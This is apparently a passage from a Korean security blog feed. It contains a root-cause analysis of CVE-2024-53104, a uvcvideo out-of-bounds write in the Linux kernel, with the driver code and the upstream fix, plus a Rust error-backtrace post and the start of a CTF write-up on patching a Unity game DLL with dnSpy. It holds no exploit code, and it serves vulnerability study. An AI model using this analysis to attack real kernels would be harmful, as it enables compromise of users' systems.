&lt;p&gt;UVC는 USB로 연결된 비디오 장치 (웹캠 등)에 대한 명세로, 리눅스
커널에는 uvcvideo라는 커널 드라이버 모듈로 포함되어 있다. 그리고 DV
포맷은 캠코더 등에 사용되는 비디오 포맷이다[3, 4, 5].&lt;/p&gt;

&lt;p&gt;본 글에서는 리눅스 커널 5.15를 기준으로 본 취약점을 살펴볼 것이다.&lt;/p&gt;

&lt;p&gt;&lt;a id=&quot;orgc13540d&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;root-cause-analysis&quot;&gt;Root Cause Analysis&lt;/h1&gt;

&lt;p&gt;리눅스 커널의 UVC 드라이버는 uvc_parse_streaming 함수에서 포맷,
프레임, 인터벌의 개수를 세고 ({1}) 이들을 위한 메모리를 kzalloc 함수로
할당한다 ({2}). 그리고 uvc_parse_format 함수를 호출하여 포맷과
프레임을 파싱한다 ({3}). 이떄 UVC_VS_FORMAT_DV 포맷의 경우에는 포맷 당
더미 프레임 하나만 존재하여 포맷과 프레임의 개수가 같음을 기억하자.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;    static int uvc_parse_streaming(struct uvc_device *dev,
                                   struct usb_interface *intf)
    {
        struct uvc_streaming *streaming = NULL;
        struct uvc_format *format;
        struct uvc_frame *frame;
        struct usb_host_interface *alts = &amp;amp;intf-&amp;gt;altsetting[0];
        unsigned char *_buffer, *buffer = alts-&amp;gt;extra;
        int _buflen, buflen = alts-&amp;gt;extralen;
        unsigned int nformats = 0, nframes = 0, nintervals = 0;
        unsigned int size, i, n, p;
        u32 *interval;
        u16 psize;
        int ret = -EINVAL;
    
        /* ... */
    
        /* Skip the standard interface descriptors. */
        while (buflen &amp;gt; 2 &amp;amp;&amp;amp; buffer[1] != USB_DT_CS_INTERFACE) {
            buflen -= buffer[0];
            buffer += buffer[0];
        }
    
        if (buflen &amp;lt;= 2) {
            uvc_dbg(dev, DESCR,
                    &quot;no class-specific streaming interface descriptors found\n&quot;);
            goto error;
        }
    
        /* Parse the header descriptor. */
        switch (buffer[2]) {
        case UVC_VS_OUTPUT_HEADER:
            streaming-&amp;gt;type = V4L2_BUF_TYPE_VIDEO_OUTPUT;
            size = 9;
            break;
    
        case UVC_VS_INPUT_HEADER:
            streaming-&amp;gt;type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
            size = 13;
            break;
    
        default:
            uvc_dbg(dev, DESCR,
                    &quot;device %d videostreaming interface %d HEADER descriptor not found\n&quot;,
                    dev-&amp;gt;udev-&amp;gt;devnum, alts-&amp;gt;desc.bInterfaceNumber);
            goto error;
        }
    
        p = buflen &amp;gt;= 4 ? buffer[3] : 0;
        n = buflen &amp;gt;= size ? buffer[size-1] : 0;
    
        if (buflen &amp;lt; size + p*n) {
            uvc_dbg(dev, DESCR,
                    &quot;device %d videostreaming interface %d HEADER descriptor is invalid\n&quot;,
                    dev-&amp;gt;udev-&amp;gt;devnum, alts-&amp;gt;desc.bInterfaceNumber);
            goto error;
        }
    
        streaming-&amp;gt;header.bNumFormats = p;
        streaming-&amp;gt;header.bEndpointAddress = buffer[6];
        if (buffer[2] == UVC_VS_INPUT_HEADER) {
            streaming-&amp;gt;header.bmInfo = buffer[7];
            streaming-&amp;gt;header.bTerminalLink = buffer[8];
            streaming-&amp;gt;header.bStillCaptureMethod = buffer[9];
            streaming-&amp;gt;header.bTriggerSupport = buffer[10];
            streaming-&amp;gt;header.bTriggerUsage = buffer[11];
        } else {
            streaming-&amp;gt;header.bTerminalLink = buffer[7];
        }
        streaming-&amp;gt;header.bControlSize = n;
    
        streaming-&amp;gt;header.bmaControls = kmemdup(&amp;amp;buffer[size], p * n,
                                                GFP_KERNEL);
        if (streaming-&amp;gt;header.bmaControls == NULL) {
            ret = -ENOMEM;
            goto error;
        }
    
        buflen -= buffer[0];
        buffer += buffer[0];
    
        _buffer = buffer;
        _buflen = buflen;
    
        /* Count the format and frame descriptors. */
        while (_buflen &amp;gt; 2 &amp;amp;&amp;amp; _buffer[1] == USB_DT_CS_INTERFACE) { /* {1} */
            switch (_buffer[2]) {
            case UVC_VS_FORMAT_UNCOMPRESSED:
            case UVC_VS_FORMAT_MJPEG:
            case UVC_VS_FORMAT_FRAME_BASED:
                nformats++;
                break;
    
            case UVC_VS_FORMAT_DV:
                /* DV format has no frame descriptor. We will create a
                 * dummy frame descriptor with a dummy frame interval.
                 */
                nformats++;
                nframes++;
                nintervals++;
                break;
    
            case UVC_VS_FORMAT_MPEG2TS:
            case UVC_VS_FORMAT_STREAM_BASED:
                uvc_dbg(dev, DESCR,
                        &quot;device %d videostreaming interface %d FORMAT %u is not supported\n&quot;,
                        dev-&amp;gt;udev-&amp;gt;devnum,
                        alts-&amp;gt;desc.bInterfaceNumber, _buffer[2]);
                break;
    
            case UVC_VS_FRAME_UNCOMPRESSED:
            case UVC_VS_FRAME_MJPEG:
                nframes++;
                if (_buflen &amp;gt; 25)
                    nintervals += _buffer[25] ? _buffer[25] : 3;
                break;
    
            case UVC_VS_FRAME_FRAME_BASED:
                nframes++;
                if (_buflen &amp;gt; 21)
                    nintervals += _buffer[21] ? _buffer[21] : 3;
                break;
            }
    
            _buflen -= _buffer[0];
            _buffer += _buffer[0];
        }
    
        if (nformats == 0) {
            uvc_dbg(dev, DESCR,
                    &quot;device %d videostreaming interface %d has no supported formats defined\n&quot;,
                    dev-&amp;gt;udev-&amp;gt;devnum, alts-&amp;gt;desc.bInterfaceNumber);
            goto error;
        }
    
        size = nformats * sizeof(*format) + nframes * sizeof(*frame)
            + nintervals * sizeof(*interval);
        format = kzalloc(size, GFP_KERNEL); /* {2} */
        if (format == NULL) {
            ret = -ENOMEM;
            goto error;
        }
    
        frame = (struct uvc_frame *)&amp;amp;format[nformats];
        interval = (u32 *)&amp;amp;frame[nframes];
    
        streaming-&amp;gt;format = format;
        streaming-&amp;gt;nformats = nformats;
    
        /* Parse the format descriptors. */
        while (buflen &amp;gt; 2 &amp;amp;&amp;amp; buffer[1] == USB_DT_CS_INTERFACE) {
            switch (buffer[2]) {
            case UVC_VS_FORMAT_UNCOMPRESSED:
            case UVC_VS_FORMAT_MJPEG:
            case UVC_VS_FORMAT_DV:
            case UVC_VS_FORMAT_FRAME_BASED:
                format-&amp;gt;frame = frame;
                ret = uvc_parse_format(dev, streaming, format,
                                       &amp;amp;interval, buffer, buflen); /* {3} */
                if (ret &amp;lt; 0)
                    goto error;
    
                frame += format-&amp;gt;nframes;
                format++;
    
                buflen -= ret;
                buffer += ret;
                continue;
    
            default:
                break;
            }
    
            buflen -= buffer[0];
            buffer += buffer[0];
        }
    
        /* ... */
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 함수에서 uvc_parse_format 함수를 호출하면 이 함수는 포맷을 파싱한
({4}) 후에 프레임 기술자 (frame descriptor)를 파싱한다 ({5}).&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;    static int uvc_parse_format(struct uvc_device *dev,
                                struct uvc_streaming *streaming, struct uvc_format *format,
                                u32 **intervals, unsigned char *buffer, int buflen)
    {
        struct usb_interface *intf = streaming-&amp;gt;intf;
        struct usb_host_interface *alts = intf-&amp;gt;cur_altsetting;
        struct uvc_format_desc *fmtdesc;
        struct uvc_frame *frame;
        const unsigned char *start = buffer;
        unsigned int width_multiplier = 1;
        unsigned int interval;
        unsigned int i, n;
        u8 ftype;
    
        format-&amp;gt;type = buffer[2];
        format-&amp;gt;index = buffer[3];
    
        switch (buffer[2]) {        /* {4} */
        case UVC_VS_FORMAT_UNCOMPRESSED:
        case UVC_VS_FORMAT_FRAME_BASED:
            /* ... */
            break;
    
        case UVC_VS_FORMAT_MJPEG:
            /* ... */
            break;
    
        case UVC_VS_FORMAT_DV:
            if (buflen &amp;lt; 9) {
                uvc_dbg(dev, DESCR,
                        &quot;device %d videostreaming interface %d FORMAT error\n&quot;,
                        dev-&amp;gt;udev-&amp;gt;devnum,
                        alts-&amp;gt;desc.bInterfaceNumber);
                return -EINVAL;
            }
    
            switch (buffer[8] &amp;amp; 0x7f) {
            case 0:
                strscpy(format-&amp;gt;name, &quot;SD-DV&quot;, sizeof(format-&amp;gt;name));
                break;
            case 1:
                strscpy(format-&amp;gt;name, &quot;SDL-DV&quot;, sizeof(format-&amp;gt;name));
                break;
            case 2:
                strscpy(format-&amp;gt;name, &quot;HD-DV&quot;, sizeof(format-&amp;gt;name));
                break;
            default:
                uvc_dbg(dev, DESCR,
                        &quot;device %d videostreaming interface %d: unknown DV format %u\n&quot;,
                        dev-&amp;gt;udev-&amp;gt;devnum,
                        alts-&amp;gt;desc.bInterfaceNumber, buffer[8]);
                return -EINVAL;
            }
    
            strlcat(format-&amp;gt;name, buffer[8] &amp;amp; (1 &amp;lt;&amp;lt; 7) ? &quot; 60Hz&quot; : &quot; 50Hz&quot;,
                    sizeof(format-&amp;gt;name));
    
            format-&amp;gt;fcc = V4L2_PIX_FMT_DV;
            format-&amp;gt;flags = UVC_FMT_FLAG_COMPRESSED | UVC_FMT_FLAG_STREAM;
            format-&amp;gt;bpp = 0;
            ftype = 0;
    
            /* Create a dummy frame descriptor. */
            frame = &amp;amp;format-&amp;gt;frame[0];
            memset(&amp;amp;format-&amp;gt;frame[0], 0, sizeof(format-&amp;gt;frame[0]));
            frame-&amp;gt;bFrameIntervalType = 1;
            frame-&amp;gt;dwDefaultFrameInterval = 1;
            frame-&amp;gt;dwFrameInterval = *intervals;
            *(*intervals)++ = 1;
            format-&amp;gt;nframes = 1;
            break;
    
        case UVC_VS_FORMAT_MPEG2TS:
        case UVC_VS_FORMAT_STREAM_BASED:
            /* Not supported yet. */
        default:
            uvc_dbg(dev, DESCR,
                    &quot;device %d videostreaming interface %d unsupported format %u\n&quot;,
                    dev-&amp;gt;udev-&amp;gt;devnum, alts-&amp;gt;desc.bInterfaceNumber,
                    buffer[2]);
            return -EINVAL;
        }
    
        uvc_dbg(dev, DESCR, &quot;Found format %s\n&quot;, format-&amp;gt;name);
    
        buflen -= buffer[0];
        buffer += buffer[0];
    
        /* Parse the frame descriptors. Only uncompressed, MJPEG and frame
         * based formats have frame descriptors.
         */
        while (buflen &amp;gt; 2 &amp;amp;&amp;amp; buffer[1] == USB_DT_CS_INTERFACE &amp;amp;&amp;amp;
               buffer[2] == ftype) { /* {5} */
            frame = &amp;amp;format-&amp;gt;frame[format-&amp;gt;nframes];
    
            /* ... */
    
            buflen -= buffer[0];
            buffer += buffer[0];
        }
    
        return buffer - start;
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;이때 위 함수에서 UVC_VS_FORMAT_DV을 파싱할 때는 더미 프레임을 같이
만든다. 그리고 이 포맷은 포맷 당 더미 프레임 하나이므로 (포맷과
프레임의 개수가 같음) 더이상 파싱할 프레임이 없다. 즉,
UVC_VS_FORMAT_DV의 경우에는 while 문에 진입하면 안된다는
것이다. 하지만 위 코드에서 while 문의 조건식은 이를 방지하지 못할 수
있다. 그럼 파싱할 프레임이 없음에도 작업을 진행하게 되고
uvc_parse_format 함수의 반환값이 부정확해지게 된다.&lt;/p&gt;

&lt;p&gt;&lt;a id=&quot;org75492e8&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;patch&quot;&gt;Patch&lt;/h1&gt;

&lt;p&gt;아래 패치를 보면 상기의 UVC_VS_FORMAT_DV를 파싱할 때 ftype 변수를
0으로 초기화한다는 것에서 착안하여 이 경우에는 프레임을 파싱하지
못하도록 (while 문에 진입하지 못하도록) 수정하였음을 알 수 있다[2].&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    media: uvcvideo: Skip parsing frames of type UVC_VS_UNDEFINED in uvc_parse_format
    commit ecf2b43018da9579842c774b7f35dbe11b5c38dd upstream.
    
    This can lead to out of bounds writes since frames of this type were not
    taken into account when calculating the size of the frames buffer in
    uvc_parse_streaming.
    
    Fixes: c0efd232929c (&quot;V4L/DVB (8145a): USB Video Class driver&quot;)
    Signed-off-by: Benoit Sevens &amp;lt;bsevens@google.com&amp;gt;
    Cc: stable@vger.kernel.org
    Acked-by: Greg Kroah-Hartman &amp;lt;gregkh@linuxfoundation.org&amp;gt;
    Reviewed-by: Laurent Pinchart &amp;lt;laurent.pinchart@ideasonboard.com&amp;gt;
    Signed-off-by: Hans Verkuil &amp;lt;hverkuil@xs4all.nl&amp;gt;
    Signed-off-by: Greg Kroah-Hartman &amp;lt;gregkh@linuxfoundation.org&amp;gt;
    Diffstat
    -rw-r--r--	drivers/media/usb/uvc/uvc_driver.c	2	
    1 files changed, 1 insertions, 1 deletions
    diff --git a/drivers/media/usb/uvc/uvc_driver.c b/drivers/media/usb/uvc/uvc_driver.c
    index 0fac689c6350b2..13db0026dc1aad 100644
    --- a/drivers/media/usb/uvc/uvc_driver.c
    +++ b/drivers/media/usb/uvc/uvc_driver.c
    @@ -371,7 +371,7 @@ static int uvc_parse_format(struct uvc_device *dev,
         * Parse the frame descriptors. Only uncompressed, MJPEG and frame
         * based formats have frame descriptors.
         */
    -	while (buflen &amp;gt; 2 &amp;amp;&amp;amp; buffer[1] == USB_DT_CS_INTERFACE &amp;amp;&amp;amp;
    +	while (ftype &amp;amp;&amp;amp; buflen &amp;gt; 2 &amp;amp;&amp;amp; buffer[1] == USB_DT_CS_INTERFACE &amp;amp;&amp;amp;
               buffer[2] == ftype) {
            unsigned int maxIntervalIndex;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a id=&quot;org0848923&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;

&lt;ol&gt;
  &lt;li&gt;“CVE-2024-53104 Detail,” NATIONAL VULNERABILITY
DATABASE. [Online]. Available:
&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-53104&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-53104&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Benoit Sevens, Nov. 2024, “media: uvcvideo: Skip parsing frames of
type UVC_VS_UNDEFINED in uvc_parse_format,” [Online]. Available:
&lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1ee9d9122801eb688783acd07791f2906b87cb4f&quot;&gt;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1ee9d9122801eb688783acd07791f2906b87cb4f&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;USB Implementers Forum, “Universal Serial Bus Device Class
Definition for Video Devices,” Sep. 2003, [Revised Jun. 2012].&lt;/li&gt;
  &lt;li&gt;Sep. 2016, “uvcvideo,” LinuxTVWiki. [Online]. Available:
&lt;a href=&quot;https://www.linuxtv.org/wiki/index.php/Uvcvideo&quot;&gt;https://www.linuxtv.org/wiki/index.php/Uvcvideo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Douglas Dixon, “DV: Digital Video Format for the Masses (3/2000),”
Manifest Technology. [Online]. Available:
&lt;a href=&quot;https://www.manifest-tech.com/media_pc/dv_tech.htm&quot;&gt;https://www.manifest-tech.com/media_pc/dv_tech.htm&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
        <pubDate>Thu, 08 May 2025 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/CVE-2024-53104</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/CVE-2024-53104</guid>
      </item>
    
      <item>
        <title>러스트 에러 콜스택</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;새로운 프로젝트를 시작하면서 전에 만들어둔 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;백트레이스가 포함된 에러 처리&lt;/code&gt;가 생각나 작성하였습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;From&lt;/code&gt;처리를 통해서만 생성할 수 있는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;backtracedError&lt;/code&gt; 구조체를 생성 후, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;From&lt;/code&gt;구현체에 백트레이스 생성 로직을 넣는다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;러스트 오류 타입을 그냥 생성할 시 백트레이스가 생성되지 않는다. 로깅에 어려움이 있어 수정이 필요하다.&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;Unknown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BacktracedError&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;backtrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;backtrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Backtrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;inner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BacktracedError&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;backtrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;backtrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Backtrace&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.backtrace&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.inner&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;From&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BacktracedError&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Self&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 이곳에 tracing등을 통해 로깅을 넣어도 좋습니다.&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;BacktracedError&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;backtrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;backtrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Backtrace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;capture&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;inner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;error_occured&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BacktracedError&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;Err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Unknown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;알아낸-내용&quot;&gt;알아낸 내용&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 07 May 2025 18:43:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/rust-backtraced-error/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/rust-backtraced-error/</guid>
      </item>
    
      <item>
        <title>유니티 게임 파일 변조법</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;UMassCTF 2025 Bullet Dodge 문제를 푸는 중 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Unity&lt;/code&gt;게임을 크랙하는 문제가 있어 간단하게 요약하였습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnSpy&lt;/code&gt; 혹은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iLSpy&lt;/code&gt;를 이용해 개발자가 입력한 코드 수정 가능&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-04-27-0.png&quot; alt=&quot;어려운 총알 피하기 게임 화면&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;게임 클리어를 위해서는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1000000&lt;/code&gt;점을 얻어야 하지만 총알이 너무 빠르고 점수 필요 량이 너무 많아 클리어하기 힘들다.&lt;/p&gt;

&lt;p&gt;따라서 게임오버가 되지 않게 하고 점수를 많이 받도록 해야 한다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;점수 - 310점, 푼 팀 - 70/557팀&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;게임 파일을 수정하기 위해선 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dll&lt;/code&gt;파일이 많이 들어있는 폴더를 찾아야 한다.&lt;/p&gt;

&lt;p&gt;이번 경우는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Data/Managed/&lt;/code&gt;에 들어있었지만 다른 폴더에 들어가는 경우가 있을 수 있다.&lt;/p&gt;

&lt;p&gt;C#에서 주로 사용하는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.Core.dll&lt;/code&gt; 파일로 검색을 하면 쉽게 찾을 수 있다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-04-27-1.png&quot; alt=&quot;dll이 들어간 폴더&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;이후 게임 파일을 찾아야 한다. 일반적으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Assembly-CSharp.dll&lt;/code&gt; 파일이라고 하지만 다른 파일인 경우도 있다.&lt;/p&gt;

&lt;p&gt;찾으면 해당 파일을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnSpy&lt;/code&gt;로 열어서 코드를 살펴본다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-04-27-2.png&quot; alt=&quot;dnSpy로 연 내용&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;해당 내용에서 이름이 적힌 내용은 일반적으로 라이브러리를 사용한 부분이다. 디버깅 정보가 없어 _로 표시된 부분을 살펴봐야 한다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-04-27-3.png&quot; alt=&quot;수정하기 원하는 코드&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;주로 클래스들의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Update&lt;/code&gt;함수 로직을 살펴보면서, 어떤 값을 사용하는지 확인해서&lt;/p&gt;

